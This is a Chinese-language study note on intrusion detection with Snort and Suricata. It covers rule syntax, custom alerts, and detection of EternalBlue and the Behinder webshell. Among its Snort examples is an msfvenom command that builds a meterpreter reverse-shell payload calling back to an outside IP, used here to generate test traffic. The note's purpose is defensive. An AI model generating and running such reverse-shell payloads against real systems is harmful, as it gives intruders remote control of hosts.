溯源反制-IDS&IPS-Suricata/Snort

目录

IDS&IPS

Snort

Suricata

---

IDS&IPS

IDS:Intrusion detection systems 入侵检测系统
IPS:Intrusion prevention systems 入侵防御系统
测评：https://www.iculture.cc/cybersecurity/pig=5629

Snort

参考：https://www.snort.org/
安装：https://mp.weixin.qq.com/s/haxqngjZBcrYs2QsQN7aqg
测试：
配置文件，规则写法，使用参数
https://www.cnblogs.com/yuersan/p/15236326.html
https://blog.csdn.net/hexf9632/article/details/94715434
https://blog.csdn.net/qq_43968080/article/details/103378952
自写规则：
1、ICMP协议警告-协议
snort -i eth0 -c /etc/snort/snort.conf -A fast -l /var/log/snort
alert icmp any any -> any any (msg:"ICMP test"; gid:1;sid:10000001;rev:1;)
2、MSF后门警告-端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.xxx.xxx LPORT=7799 -f elf >7799.elf
my.rules
include $RULE_PATH/my.rules
snort -i eth0 -c /etc/snort/snort.conf -A fast -l /var/log/snort
alert tcp any 7799 -> any any (msg:"SNORT：visit destport tcp 7799"; sid:201900001; rev:1;)
3、识别永恒之蓝-特征
alert smb any any -> $HOME_NET any (msg:“ET EXPLOIT Possible ETERNALBLUE MS17-010”; flow:to_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)

Suricata

下载：https://github.com/OISF/suricata
apt-get install suricata
参考：https://suricata.readthedocs.io/
1、例子：访问百度触发规则
rules:
alert http any any -> any any (msg:"wg hit baidu.com....";content:"baidu";reference:url,www.baidu.com;)

 

alert https any any -> any any (msg:"wufeng hit HFish....";content:"/web/scanners";reference:url:xx.xx.xx.xx:xx;)

​
测试：
1.检测漏洞攻击：MS17010
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/wannamine.rules
cat /var/log/suricata/fast.log
2.检测冰蝎后门：SHELL.PHP
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules
cat /var/log/suricata/fast.log
Suricata规则下载：
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection
#打包系统：securityonion
集成snort/suricata、bro(zeek)、elk、ossec等
https://securityonionsolutions.com/software